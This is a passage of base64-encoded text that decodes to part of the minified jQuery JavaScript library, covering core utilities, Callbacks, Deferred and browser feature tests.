hLmNoYXJBdCgwKSYmIlx4M2UiPT09DQphLmNoYXJBdChhLmxlbmd0aC0xKSYmMzw9YS5sZW5ndGg/W251bGwsYSxudWxsXTpaYi5leGVjKGEpLCFifHwhYlsxXSYmYylyZXR1cm4hY3x8Yy5qcXVlcnk/KGN8fGgpLmZpbmQoYSk6dGhpcy5jb25zdHJ1Y3RvcihjKS5maW5kKGEpO2lmKGJbMV0pe2lmKGM9YyBpbnN0YW5jZW9mIGQ/Y1swXTpjLGQubWVyZ2UodGhpcyxkLnBhcnNlSFRNTChiWzFdLGMmJmMubm9kZVR5cGU/Yy5vd25lckRvY3VtZW50fHxjOnQsITApKSxwYi50ZXN0KGJbMV0pJiZkLmlzUGxhaW5PYmplY3QoYykpZm9yKGIgaW4gYylkLmlzRnVuY3Rpb24odGhpc1tiXSk/dGhpc1tiXShjW2JdKTp0aGlzLmF0dHIoYixjW2JdKTtyZXR1cm4gdGhpc31pZihxPXQuZ2V0RWxlbWVudEJ5SWQoYlsyXSkscSYmcS5wYXJlbnROb2RlKXtpZihxLmlkIT09YlsyXSlyZXR1cm4gaC5maW5kKGEpO3RoaXMubGVuZ3RoPTE7dGhpc1swXT1xfXJldHVybiB0aGlzLmNvbnRleHQ9dCx0aGlzLnNlbGVjdG9yPWEsdGhpc31yZXR1cm4gYS5ub2RlVHlwZT8NCih0aGlzLmNvbnRleHQ9dGhpc1swXT1hLHRoaXMubGVuZ3RoPTEsdGhpcyk6ZC5pc0Z1bmN0aW9uKGEpP2gucmVhZHkoYSk6KGEuc2VsZWN0b3IhPT1lJiYodGhpcy5zZWxlY3Rvcj1hLnNlbGVjdG9yLHRoaXMuY29udGV4dD1hLmNvbnRleHQpLGQubWFrZUFycmF5KGEsdGhpcykpfSxzZWxlY3RvcjoiIixsZW5ndGg6MCxzaXplOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubGVuZ3RofSx0b0FycmF5OmZ1bmN0aW9uKCl7cmV0dXJuIFkuY2FsbCh0aGlzKX0sZ2V0OmZ1bmN0aW9uKGEpe3JldHVybiBudWxsPT1hP3RoaXMudG9BcnJheSgpOjA+YT90aGlzW3RoaXMubGVuZ3RoK2FdOnRoaXNbYV19LHB1c2hTdGFjazpmdW5jdGlvbihhKXthPWQubWVyZ2UodGhpcy5jb25zdHJ1Y3RvcigpLGEpO3JldHVybiBhLnByZXZPYmplY3Q9dGhpcyxhLmNvbnRleHQ9dGhpcy5jb250ZXh0LGF9LGVhY2g6ZnVuY3Rpb24oYSxjKXtyZXR1cm4gZC5lYWNoKHRoaXMsYSxjKX0scmVhZHk6ZnVuY3Rpb24oYSl7cmV0dXJuIGQucmVhZHkucHJvbWlzZSgpLmRvbmUoYSksDQp0aGlzfSxzbGljZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLnB1c2hTdGFjayhZLmFwcGx5KHRoaXMsYXJndW1lbnRzKSl9LGZpcnN0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZXEoMCl9LGxhc3Q6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5lcSgtMSl9LGVxOmZ1bmN0aW9uKGEpe3ZhciBjPXRoaXMubGVuZ3RoO2E9K2ErKDA+YT9jOjApO3JldHVybiB0aGlzLnB1c2hTdGFjaygwPD1hJiZjPmE/W3RoaXNbYV1dOltdKX0sbWFwOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLnB1c2hTdGFjayhkLm1hcCh0aGlzLGZ1bmN0aW9uKGMsZCl7cmV0dXJuIGEuY2FsbChjLGQsYyl9KSl9LGVuZDpmdW5jdGlvbigpe3JldHVybiB0aGlzLnByZXZPYmplY3R8fHRoaXMuY29uc3RydWN0b3IobnVsbCl9LHB1c2g6SGEsc29ydDpbXS5zb3J0LHNwbGljZTpbXS5zcGxpY2V9O2QuZm4uaW5pdC5wcm90b3R5cGU9ZC5mbjtkLmV4dGVuZD1kLmZuLmV4dGVuZD1mdW5jdGlvbigpe3ZhciBhLGMsaCxiLHEsdSwNCmw9YXJndW1lbnRzWzBdfHx7fSxmPTEsZz1hcmd1bWVudHMubGVuZ3RoLGs9ITE7ImJvb2xlYW4iPT10eXBlb2YgbCYmKGs9bCxsPWFyZ3VtZW50c1sxXXx8e30sZj0yKTsib2JqZWN0Ij09dHlwZW9mIGx8fGQuaXNGdW5jdGlvbihsKXx8KGw9e30pO2ZvcihnPT09ZiYmKGw9dGhpcywtLWYpO2c+ZjtmKyspaWYobnVsbCE9KHE9YXJndW1lbnRzW2ZdKSlmb3IoYiBpbiBxKWE9bFtiXSxoPXFbYl0sbCE9PWgmJihrJiZoJiYoZC5pc1BsYWluT2JqZWN0KGgpfHwoYz1kLmlzQXJyYXkoaCkpKT8oYz8oYz0hMSx1PWEmJmQuaXNBcnJheShhKT9hOltdKTp1PWEmJmQuaXNQbGFpbk9iamVjdChhKT9hOnt9LGxbYl09ZC5leHRlbmQoayx1LGgpKTpoIT09ZSYmKGxbYl09aCkpO3JldHVybiBsfTtkLmV4dGVuZCh7bm9Db25mbGljdDpmdW5jdGlvbihhKXtyZXR1cm4gYi4kPT09ZCYmKGIuJD1XYiksYSYmYi5qUXVlcnk9PT1kJiYoYi5qUXVlcnk9VmIpLGR9LGlzUmVhZHk6ITEscmVhZHlXYWl0OjEsDQpob2xkUmVhZHk6ZnVuY3Rpb24oYSl7YT9kLnJlYWR5V2FpdCsrOmQucmVhZHkoITApfSxyZWFkeTpmdW5jdGlvbihhKXtpZighMD09PWE/IS0tZC5yZWFkeVdhaXQ6IWQuaXNSZWFkeSl7aWYoIXQuYm9keSlyZXR1cm4gc2V0VGltZW91dChkLnJlYWR5KTtkLmlzUmVhZHk9ITA7ITAhPT1hJiYwPC0tZC5yZWFkeVdhaXR8fCh3YS5yZXNvbHZlV2l0aCh0LFtkXSksZC5mbi50cmlnZ2VyJiZkKHQpLnRyaWdnZXIoInJlYWR5Iikub2ZmKCJyZWFkeSIpKX19LGlzRnVuY3Rpb246ZnVuY3Rpb24oYSl7cmV0dXJuImZ1bmN0aW9uIj09PWQudHlwZShhKX0saXNBcnJheTpBcnJheS5pc0FycmF5fHxmdW5jdGlvbihhKXtyZXR1cm4iYXJyYXkiPT09ZC50eXBlKGEpfSxpc1dpbmRvdzpmdW5jdGlvbihhKXtyZXR1cm4gbnVsbCE9YSYmYT09YS53aW5kb3d9LGlzTnVtZXJpYzpmdW5jdGlvbihhKXtyZXR1cm4haXNOYU4ocGFyc2VGbG9hdChhKSkmJmlzRmluaXRlKGEpfSx0eXBlOmZ1bmN0aW9uKGEpe3JldHVybiBudWxsPT0NCmE/YSsiIjoib2JqZWN0Ij09dHlwZW9mIGF8fCJmdW5jdGlvbiI9PXR5cGVvZiBhP3hhW1hiLmNhbGwoYSldfHwib2JqZWN0Ijp0eXBlb2YgYX0saXNQbGFpbk9iamVjdDpmdW5jdGlvbihhKXtpZighYXx8Im9iamVjdCIhPT1kLnR5cGUoYSl8fGEubm9kZVR5cGV8fGQuaXNXaW5kb3coYSkpcmV0dXJuITE7dHJ5e2lmKGEuY29uc3RydWN0b3ImJiFvYS5jYWxsKGEsImNvbnN0cnVjdG9yIikmJiFvYS5jYWxsKGEuY29uc3RydWN0b3IucHJvdG90eXBlLCJpc1Byb3RvdHlwZU9mIikpcmV0dXJuITF9Y2F0Y2goYyl7cmV0dXJuITF9Zm9yKHZhciBoIGluIGEpO3JldHVybiBoPT09ZXx8b2EuY2FsbChhLGgpfSxpc0VtcHR5T2JqZWN0OmZ1bmN0aW9uKGEpe2Zvcih2YXIgYyBpbiBhKXJldHVybiExO3JldHVybiEwfSxlcnJvcjpmdW5jdGlvbihhKXt0aHJvdyBFcnJvcihhKTt9LHBhcnNlSFRNTDpmdW5jdGlvbihhLGMsaCl7aWYoIWF8fCJzdHJpbmciIT10eXBlb2YgYSlyZXR1cm4gbnVsbDsNCiJib29sZWFuIj09dHlwZW9mIGMmJihoPWMsYz0hMSk7Yz1jfHx0O3ZhciBlPXBiLmV4ZWMoYSk7aD0haCYmW107cmV0dXJuIGU/W2MuY3JlYXRlRWxlbWVudChlWzFdKV06KGU9ZC5idWlsZEZyYWdtZW50KFthXSxjLGgpLGgmJmQoaCkucmVtb3ZlKCksZC5tZXJnZShbXSxlLmNoaWxkTm9kZXMpKX0scGFyc2VKU09OOmZ1bmN0aW9uKGEpe3JldHVybiBiLkpTT04mJmIuSlNPTi5wYXJzZT9iLkpTT04ucGFyc2UoYSk6bnVsbD09PWE/YToic3RyaW5nIj09dHlwZW9mIGEmJihhPWQudHJpbShhKSxhJiYkYi50ZXN0KGEucmVwbGFjZShiYywiQCIpLnJlcGxhY2UoY2MsIl0iKS5yZXBsYWNlKGFjLCIiKSkpP0Z1bmN0aW9uKCJyZXR1cm4gIithKSgpOihkLmVycm9yKCJJbnZhbGlkIEpTT046ICIrYSksZSl9LHBhcnNlWE1MOmZ1bmN0aW9uKGEpe3ZhciBjLGg7aWYoIWF8fCJzdHJpbmciIT10eXBlb2YgYSlyZXR1cm4gbnVsbDt0cnl7Yi5ET01QYXJzZXI/KGg9bmV3IERPTVBhcnNlcixjPQ0KaC5wYXJzZUZyb21TdHJpbmcoYSwidGV4dC94bWwiKSk6KGM9bmV3IEFjdGl2ZVhPYmplY3QoIk1pY3Jvc29mdC5YTUxET00iKSxjLmFzeW5jPSJmYWxzZSIsYy5sb2FkWE1MKGEpKX1jYXRjaChzKXtjPWV9cmV0dXJuIGMmJmMuZG9jdW1lbnRFbGVtZW50JiYhYy5nZXRFbGVtZW50c0J5VGFnTmFtZSgicGFyc2VyZXJyb3IiKS5sZW5ndGh8fGQuZXJyb3IoIkludmFsaWQgWE1MOiAiK2EpLGN9LG5vb3A6ZnVuY3Rpb24oKXt9LGdsb2JhbEV2YWw6ZnVuY3Rpb24oYSl7YSYmZC50cmltKGEpJiYoYi5leGVjU2NyaXB0fHxmdW5jdGlvbihhKXtiLmV2YWwuY2FsbChiLGEpfSkoYSl9LGNhbWVsQ2FzZTpmdW5jdGlvbihhKXtyZXR1cm4gYS5yZXBsYWNlKGRjLCJtcy0iKS5yZXBsYWNlKGVjLGZjKX0sbm9kZU5hbWU6ZnVuY3Rpb24oYSxjKXtyZXR1cm4gYS5ub2RlTmFtZSYmYS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpPT09Yy50b0xvd2VyQ2FzZSgpfSxlYWNoOmZ1bmN0aW9uKGEsYyxkKXt2YXIgZSwNCmI9MCx1PWEubGVuZ3RoLGw9ZihhKTtpZihkKWlmKGwpZm9yKDt1PmImJiEoZT1jLmFwcGx5KGFbYl0sZCksITE9PT1lKTtiKyspO2Vsc2UgZm9yKGIgaW4gYSl7aWYoZT1jLmFwcGx5KGFbYl0sZCksITE9PT1lKWJyZWFrfWVsc2UgaWYobClmb3IoO3U+YiYmIShlPWMuY2FsbChhW2JdLGIsYVtiXSksITE9PT1lKTtiKyspO2Vsc2UgZm9yKGIgaW4gYSlpZihlPWMuY2FsbChhW2JdLGIsYVtiXSksITE9PT1lKWJyZWFrO3JldHVybiBhfSx0cmltOklhJiYhSWEuY2FsbCgiPz8gIik/ZnVuY3Rpb24oYSl7cmV0dXJuIG51bGw9PWE/IiI6SWEuY2FsbChhKX06ZnVuY3Rpb24oYSl7cmV0dXJuIG51bGw9PWE/IiI6KGErIiIpLnJlcGxhY2UoWWIsIiIpfSxtYWtlQXJyYXk6ZnVuY3Rpb24oYSxjKXt2YXIgaD1jfHxbXTtyZXR1cm4gbnVsbCE9YSYmKGYoT2JqZWN0KGEpKT9kLm1lcmdlKGgsInN0cmluZyI9PXR5cGVvZiBhP1thXTphKTpIYS5jYWxsKGgsYSkpLGh9LGluQXJyYXk6ZnVuY3Rpb24oYSwNCmMsZCl7dmFyIGU7aWYoYyl7aWYob2IpcmV0dXJuIG9iLmNhbGwoYyxhLGQpO2U9Yy5sZW5ndGg7Zm9yKGQ9ZD8wPmQ/TWF0aC5tYXgoMCxlK2QpOmQ6MDtlPmQ7ZCsrKWlmKGQgaW4gYyYmY1tkXT09PWEpcmV0dXJuIGR9cmV0dXJuLTF9LG1lcmdlOmZ1bmN0aW9uKGEsYyl7dmFyIGQ9Yy5sZW5ndGgsYj1hLmxlbmd0aCxxPTA7aWYoIm51bWJlciI9PXR5cGVvZiBkKWZvcig7ZD5xO3ErKylhW2IrK109Y1txXTtlbHNlIGZvcig7Y1txXSE9PWU7KWFbYisrXT1jW3ErK107cmV0dXJuIGEubGVuZ3RoPWIsYX0sZ3JlcDpmdW5jdGlvbihhLGMsZCl7dmFyIGUsYj1bXSxmPTAsbD1hLmxlbmd0aDtmb3IoZD0hIWQ7bD5mO2YrKyllPSEhYyhhW2ZdLGYpLGQhPT1lJiZiLnB1c2goYVtmXSk7cmV0dXJuIGJ9LG1hcDpmdW5jdGlvbihhLGMsZCl7dmFyIGUsYj0wLHU9YS5sZW5ndGgsbD1bXTtpZihmKGEpKWZvcig7dT5iO2IrKyllPWMoYVtiXSxiLGQpLG51bGwhPWUmJihsW2wubGVuZ3RoXT1lKTsNCmVsc2UgZm9yKGIgaW4gYSllPWMoYVtiXSxiLGQpLG51bGwhPWUmJihsW2wubGVuZ3RoXT1lKTtyZXR1cm4gbmIuYXBwbHkoW10sbCl9LGd1aWQ6MSxwcm94eTpmdW5jdGlvbihhLGMpe3ZhciBoLGIscTtyZXR1cm4ic3RyaW5nIj09dHlwZW9mIGMmJihxPWFbY10sYz1hLGE9cSksZC5pc0Z1bmN0aW9uKGEpPyhoPVkuY2FsbChhcmd1bWVudHMsMiksYj1mdW5jdGlvbigpe3JldHVybiBhLmFwcGx5KGN8fHRoaXMsaC5jb25jYXQoWS5jYWxsKGFyZ3VtZW50cykpKX0sYi5ndWlkPWEuZ3VpZD1hLmd1aWR8fGQuZ3VpZCsrLGIpOmV9LGFjY2VzczpmdW5jdGlvbihhLGMsaCxiLHEsZixsKXt2YXIgZz0wLGs9YS5sZW5ndGgsbT1udWxsPT1oO2lmKCJvYmplY3QiPT09ZC50eXBlKGgpKWZvcihnIGluIHE9ITAsaClkLmFjY2VzcyhhLGMsZyxoW2ddLCEwLGYsbCk7ZWxzZSBpZihiIT09ZSYmKHE9ITAsZC5pc0Z1bmN0aW9uKGIpfHwobD0hMCksbSYmKGw/KGMuY2FsbChhLGIpLGM9bnVsbCk6KG09DQpjLGM9ZnVuY3Rpb24oYSxjLGgpe3JldHVybiBtLmNhbGwoZChhKSxoKX0pKSxjKSlmb3IoO2s+ZztnKyspYyhhW2ddLGgsbD9iOmIuY2FsbChhW2ddLGcsYyhhW2ddLGgpKSk7cmV0dXJuIHE/YTptP2MuY2FsbChhKTprP2MoYVswXSxoKTpmfSxub3c6ZnVuY3Rpb24oKXtyZXR1cm4obmV3IERhdGUpLmdldFRpbWUoKX19KTtkLnJlYWR5LnByb21pc2U9ZnVuY3Rpb24oYSl7aWYoIXdhKWlmKHdhPWQuRGVmZXJyZWQoKSwiY29tcGxldGUiPT09dC5yZWFkeVN0YXRlKXNldFRpbWVvdXQoZC5yZWFkeSk7ZWxzZSBpZih0LmFkZEV2ZW50TGlzdGVuZXIpdC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixGLCExKSxiLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLEYsITEpO2Vsc2V7dC5hdHRhY2hFdmVudCgib25yZWFkeXN0YXRlY2hhbmdlIixGKTtiLmF0dGFjaEV2ZW50KCJvbmxvYWQiLEYpO3ZhciBjPSExO3RyeXtjPW51bGw9PWIuZnJhbWVFbGVtZW50JiZ0LmRvY3VtZW50RWxlbWVudH1jYXRjaChoKXt9YyYmDQpjLmRvU2Nyb2xsJiZmdW5jdGlvbiBxKCl7aWYoIWQuaXNSZWFkeSl7dHJ5e2MuZG9TY3JvbGwoImxlZnQiKX1jYXRjaChhKXtyZXR1cm4gc2V0VGltZW91dChxLDUwKX1xYigpO2QucmVhZHkoKX19KCl9cmV0dXJuIHdhLnByb21pc2UoYSl9O2QuZWFjaCgiQm9vbGVhbiBOdW1iZXIgU3RyaW5nIEZ1bmN0aW9uIEFycmF5IERhdGUgUmVnRXhwIE9iamVjdCBFcnJvciIuc3BsaXQoIiAiKSxmdW5jdGlvbihhLGMpe3hhWyJbb2JqZWN0ICIrYysiXSJdPWMudG9Mb3dlckNhc2UoKX0pO21iPWQodCk7dmFyIFZhPXt9O2QuQ2FsbGJhY2tzPWZ1bmN0aW9uKGEpe2E9InN0cmluZyI9PXR5cGVvZiBhP1ZhW2FdfHxnKGEpOmQuZXh0ZW5kKHt9LGEpO3ZhciBjLGgsYixxLGYsbCx2PVtdLGs9IWEub25jZSYmW10sbT1mdW5jdGlvbihkKXtoPWEubWVtb3J5JiZkO2I9ITA7Zj1sfHwwO2w9MDtxPXYubGVuZ3RoO2ZvcihjPSEwO3YmJnE+ZjtmKyspaWYoITE9PT12W2ZdLmFwcGx5KGRbMF0sZFsxXSkmJg0KYS5zdG9wT25GYWxzZSl7aD0hMTticmVha31jPSExO3YmJihrP2subGVuZ3RoJiZtKGsuc2hpZnQoKSk6aD92PVtdOnIuZGlzYWJsZSgpKX0scj17YWRkOmZ1bmN0aW9uKCl7aWYodil7dmFyIGU9di5sZW5ndGg7KGZ1bmN0aW9uIGdjKGMpe2QuZWFjaChjLGZ1bmN0aW9uKGMsaCl7dmFyIGU9ZC50eXBlKGgpOyJmdW5jdGlvbiI9PT1lP2EudW5pcXVlJiZyLmhhcyhoKXx8di5wdXNoKGgpOmgmJmgubGVuZ3RoJiYic3RyaW5nIiE9PWUmJmdjKGgpfSl9KShhcmd1bWVudHMpO2M/cT12Lmxlbmd0aDpoJiYobD1lLG0oaCkpfXJldHVybiB0aGlzfSxyZW1vdmU6ZnVuY3Rpb24oKXtyZXR1cm4gdiYmZC5lYWNoKGFyZ3VtZW50cyxmdW5jdGlvbihhLGgpe2Zvcih2YXIgZTstMTwoZT1kLmluQXJyYXkoaCx2LGUpKTspdi5zcGxpY2UoZSwxKSxjJiYocT49ZSYmcS0tLGY+PWUmJmYtLSl9KSx0aGlzfSxoYXM6ZnVuY3Rpb24oYSl7cmV0dXJuIGE/LTE8ZC5pbkFycmF5KGEsdik6ISghdnx8IXYubGVuZ3RoKX0sDQplbXB0eTpmdW5jdGlvbigpe3JldHVybiB2PVtdLHRoaXN9LGRpc2FibGU6ZnVuY3Rpb24oKXtyZXR1cm4gdj1rPWg9ZSx0aGlzfSxkaXNhYmxlZDpmdW5jdGlvbigpe3JldHVybiF2fSxsb2NrOmZ1bmN0aW9uKCl7cmV0dXJuIGs9ZSxofHxyLmRpc2FibGUoKSx0aGlzfSxsb2NrZWQ6ZnVuY3Rpb24oKXtyZXR1cm4ha30sZmlyZVdpdGg6ZnVuY3Rpb24oYSxkKXtyZXR1cm4gZD1kfHxbXSxkPVthLGQuc2xpY2U/ZC5zbGljZSgpOmRdLCF2fHxiJiYha3x8KGM/ay5wdXNoKGQpOm0oZCkpLHRoaXN9LGZpcmU6ZnVuY3Rpb24oKXtyZXR1cm4gci5maXJlV2l0aCh0aGlzLGFyZ3VtZW50cyksdGhpc30sZmlyZWQ6ZnVuY3Rpb24oKXtyZXR1cm4hIWJ9fTtyZXR1cm4gcn07ZC5leHRlbmQoe0RlZmVycmVkOmZ1bmN0aW9uKGEpe3ZhciBjPVtbInJlc29sdmUiLCJkb25lIixkLkNhbGxiYWNrcygib25jZSBtZW1vcnkiKSwicmVzb2x2ZWQiXSxbInJlamVjdCIsImZhaWwiLGQuQ2FsbGJhY2tzKCJvbmNlIG1lbW9yeSIpLA0KInJlamVjdGVkIl0sWyJub3RpZnkiLCJwcm9ncmVzcyIsZC5DYWxsYmFja3MoIm1lbW9yeSIpXV0saD0icGVuZGluZyIsZT17c3RhdGU6ZnVuY3Rpb24oKXtyZXR1cm4gaH0sYWx3YXlzOmZ1bmN0aW9uKCl7cmV0dXJuIGIuZG9uZShhcmd1bWVudHMpLmZhaWwoYXJndW1lbnRzKSx0aGlzfSx0aGVuOmZ1bmN0aW9uKCl7dmFyIGE9YXJndW1lbnRzO3JldHVybiBkLkRlZmVycmVkKGZ1bmN0aW9uKGgpe2QuZWFjaChjLGZ1bmN0aW9uKGMsZil7dmFyIGc9ZlswXSxrPWQuaXNGdW5jdGlvbihhW2NdKSYmYVtjXTtiW2ZbMV1dKGZ1bmN0aW9uKCl7dmFyIGE9ayYmay5hcHBseSh0aGlzLGFyZ3VtZW50cyk7YSYmZC5pc0Z1bmN0aW9uKGEucHJvbWlzZSk/YS5wcm9taXNlKCkuZG9uZShoLnJlc29sdmUpLmZhaWwoaC5yZWplY3QpLnByb2dyZXNzKGgubm90aWZ5KTpoW2crIldpdGgiXSh0aGlzPT09ZT9oLnByb21pc2UoKTp0aGlzLGs/W2FdOmFyZ3VtZW50cyl9KX0pO2E9bnVsbH0pLnByb21pc2UoKX0sDQpwcm9taXNlOmZ1bmN0aW9uKGEpe3JldHVybiBudWxsIT1hP2QuZXh0ZW5kKGEsZSk6ZX19LGI9e307cmV0dXJuIGUucGlwZT1lLnRoZW4sZC5lYWNoKGMsZnVuY3Rpb24oYSxkKXt2YXIgZj1kWzJdLGc9ZFszXTtlW2RbMV1dPWYuYWRkO2cmJmYuYWRkKGZ1bmN0aW9uKCl7aD1nfSxjWzFeYV1bMl0uZGlzYWJsZSxjWzJdWzJdLmxvY2spO2JbZFswXV09ZnVuY3Rpb24oKXtyZXR1cm4gYltkWzBdKyJXaXRoIl0odGhpcz09PWI/ZTp0aGlzLGFyZ3VtZW50cyksdGhpc307YltkWzBdKyJXaXRoIl09Zi5maXJlV2l0aH0pLGUucHJvbWlzZShiKSxhJiZhLmNhbGwoYixiKSxifSx3aGVuOmZ1bmN0aW9uKGEpe3ZhciBjPTAsaD1ZLmNhbGwoYXJndW1lbnRzKSxlPWgubGVuZ3RoLGI9MSE9PWV8fGEmJmQuaXNGdW5jdGlvbihhLnByb21pc2UpP2U6MCxmPTE9PT1iP2E6ZC5EZWZlcnJlZCgpLGw9ZnVuY3Rpb24oYSxjLGQpe3JldHVybiBmdW5jdGlvbihoKXtjW2FdPXRoaXM7ZFthXT0xPGFyZ3VtZW50cy5sZW5ndGg/DQpZLmNhbGwoYXJndW1lbnRzKTpoO2Q9PT1nP2Yubm90aWZ5V2l0aChjLGQpOi0tYnx8Zi5yZXNvbHZlV2l0aChjLGQpfX0sZyxrLG07aWYoMTxlKXtnPUFycmF5KGUpO2s9QXJyYXkoZSk7Zm9yKG09QXJyYXkoZSk7ZT5jO2MrKyloW2NdJiZkLmlzRnVuY3Rpb24oaFtjXS5wcm9taXNlKT9oW2NdLnByb21pc2UoKS5kb25lKGwoYyxtLGgpKS5mYWlsKGYucmVqZWN0KS5wcm9ncmVzcyhsKGMsayxnKSk6LS1ifXJldHVybiBifHxmLnJlc29sdmVXaXRoKG0saCksZi5wcm9taXNlKCl9fSk7ZC5zdXBwb3J0PWZ1bmN0aW9uKCl7dmFyIGEsYyxoLGUsZix1LGwsZz10LmNyZWF0ZUVsZW1lbnQoImRpdiIpO2lmKGcuc2V0QXR0cmlidXRlKCJjbGFzc05hbWUiLCJ0IiksZy5pbm5lckhUTUw9IiAgXHgzY2xpbmsvXHgzZVx4M2N0YWJsZVx4M2VceDNjL3RhYmxlXHgzZVx4M2NhIGhyZWZceDNkJy9hJ1x4M2VhXHgzYy9hXHgzZVx4M2NpbnB1dCB0eXBlXHgzZCdjaGVja2JveCcvXHgzZSIsYz1nLmdldEVsZW1lbnRzQnlUYWdOYW1lKCIqIiksDQpoPWcuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImEiKVswXSwhY3x8IWh8fCFjLmxlbmd0aClyZXR1cm57fTtlPXQuY3JlYXRlRWxlbWVudCgic2VsZWN0Iik7Zj1lLmFwcGVuZENoaWxkKHQuY3JlYXRlRWxlbWVudCgib3B0aW9uIikpO2M9Zy5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaW5wdXQiKVswXTtoLnN0eWxlLmNzc1RleHQ9InRvcDoxcHg7ZmxvYXQ6bGVmdDtvcGFjaXR5Oi41IjthPXtnZXRTZXRBdHRyaWJ1dGU6InQiIT09Zy5jbGFzc05hbWUsbGVhZGluZ1doaXRlc3BhY2U6Mz09PWcuZmlyc3RDaGlsZC5ub2RlVHlwZSx0Ym9keTohZy5nZXRFbGVtZW50c0J5VGFnTmFtZSgidGJvZHkiKS5sZW5ndGgsaHRtbFNlcmlhbGl6ZTohIWcuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKS5sZW5ndGgsc3R5bGU6L3RvcC8udGVzdChoLmdldEF0dHJpYnV0ZSgic3R5bGUiKSksaHJlZk5vcm1hbGl6ZWQ6Ii9hIj09PWguZ2V0QXR0cmlidXRlKCJocmVmIiksb3BhY2l0eTovXjAuNS8udGVzdChoLnN0eWxlLm9wYWNpdHkpLA0KY3NzRmxvYXQ6ISFoLnN0eWxlLmNzc0Zsb2F0LGNoZWNrT246ISFjLnZhbHVlLG9wdFNlbGVjdGVkOmYuc2VsZWN0ZWQsZW5jdHlwZTohIXQuY3JlYXRlRWxlbWVudCgiZm9ybSIpLmVuY3R5cGUsaHRtbDVDbG9uZToiXHgzYzpuYXZceDNlXHgzYy86bmF2XHgzZSIhPT10LmNyZWF0ZUVsZW1lbnQoIm5hdiIpLmNsb25lTm9kZSghMCkub3V0ZXJIVE1MLGJveE1vZGVsOiJDU1MxQ29tcGF0Ij09PXQuY29tcGF0TW9kZSxkZWxldGVFeHBhbmRvOiEwLG5vQ2xvbmVFdmVudDohMCxpbmxpbmVCbG9ja05lZWRzTGF5b3V0OiExLHNocmlua1dyYXBCbG9ja3M6ITEscmVsaWFibGVNYXJnaW5SaWdodDohMCxib3hTaXppbmdSZWxpYWJsZTohMCxwaXhlbFBvc2l0aW9uOiExfTtjLmNoZWNrZWQ9ITA7YS5ub0Nsb25lQ2hlY2tlZD1jLmNsb25lTm9kZSghMCkuY2hlY2tlZDtlLmRpc2FibGVkPSEwO2Eub3B0RGlzYWJsZWQ9IWYuZGlzYWJsZWQ7dHJ5e2RlbGV0ZSBnLnRlc3R9Y2F0Y2goayl7YS5kZWxldGVFeHBhbmRvPQ0KITF9Yz10LmNyZWF0ZUVsZW1lbnQoImlucHV0Iik7Yy5zZXRBdHRyaWJ1dGUoInZhbHVlIiwiIik7YS5pbnB1dD0iIj09PWMuZ2V0QXR0cmlidXRlKCJ2YWx1ZSIpO2MudmFsdWU9InQiO2Muc2V0QXR0cmlidXRlKCJ0eXBlIiwicmFkaW8iKTthLnJhZGlvVmFsdWU9InQiPT09Yy52YWx1ZTtjLnNldEF0dHJpYnV0ZSgiY2hlY2tlZCIsInQiKTtjLnNldEF0dHJpYnV0ZSgibmFtZSIsInQiKTtoPXQuY3JlYXRlRG9jdW1lbnRGcmFnbWVudCgpO2guYXBwZW5kQ2hpbGQoYyk7YS5hcHBlbmRDaGVja2VkPWMuY2hlY2tlZDthLmNoZWNrQ2xvbmU9aC5jbG9uZU5vZGUoITApLmNsb25lTm9kZSghMCkubGFzdENoaWxkLmNoZWNrZWQ7Zy5hdHRhY2hFdmVudCYmKGcuYXR0YWNoRXZlbnQoIm9uY2xpY2siLGZ1bmN0aW9uKCl7YS5ub0Nsb25lRXZlbnQ9ITF9KSxnLmNsb25lTm9kZSghMCkuY2xpY2soKSk7Zm9yKGwgaW57c3VibWl0OiEwLGNoYW5nZTohMCxmb2N1c2luOiEwfSlnLnNldEF0dHJpYnV0ZShoPQ0KIm9uIitsLCJ0IiksYVtsKyJCdWJibGVzIl09aCBpbiBifHwhMT09PWcuYXR0cmlidXRlc1toXS5leHBhbmRvO3JldHVybiBnLnN0eWxlLmJhY2tncm91bmRDbGlwPSJjb250ZW50LWJveCIsZy5jbG9uZU5vZGUoITApLnN0eWxlLmJhY2tncm91bmRDbGlwPSIiLGEuY2xlYXJDbG9uZVN0eWxlPSJjb250ZW50LWJveCI9PT1nLnN0eWxlLmJhY2tncm91bmRDbGlwLGQoZnVuY3Rpb24oKXt2YXIgYyxkLGgsZT10LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF07ZSYmKGM9dC5jcmVhdGVFbGVtZW50KCJkaXYiKSxjLnN0eWxlLmNzc1RleHQ9ImJvcmRlcjowO3dpZHRoOjA7aGVpZ2h0OjA7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDotOTk5OXB4O21hcmdpbi10b3A6MXB4IixlLmFwcGVuZENoaWxkKGMpLmFwcGVuZENoaWxkKGcpLGcuaW5uZXJIVE1MPSJceDNjdGFibGVceDNlXHgzY3RyXHgzZVx4M2N0ZFx4M2VceDNjL3RkXHgzZVx4M2N0ZFx4M2V0XHgzYy90ZFx4M2VceDNjL3RyXHgzZVx4M2MvdGFibGVceDNlIiwNCmg9Zy5nZXRFbGVtZW50c0J5VGFnTmFtZSgidGQiKSxoWzBdLnN0eWxlLmNzc1RleHQ9InBhZGRpbmc6MDttYXJnaW46MDtib3JkZXI6MDtkaXNwbGF5Om5vbmUiLHU9MD09PWhbMF0ub2Zmc2V0SGVpZ2h0LGhbMF0uc3R5bGUuZGlzcGxheT0iIixoWzFdLnN0eWxlLmRpc3BsYXk9Im5vbmUiLGEucmVsaWFibGVIaWRkZW5PZmZzZXRzPXUmJjA9PT1oWzBdLm9mZnNldEhlaWdodCxnLmlubmVySFRNTD0iIixnLnN0eWxlLmNzc1RleHQ9ImJveC1zaXppbmc6Ym9yZGVyLWJveDstbW96LWJveC1zaXppbmc6Ym9yZGVyLWJveDstd2Via2l0LWJveC1zaXppbmc6Ym9yZGVyLWJveDtwYWRkaW5nOjFweDtib3JkZXI6MXB4O2Rpc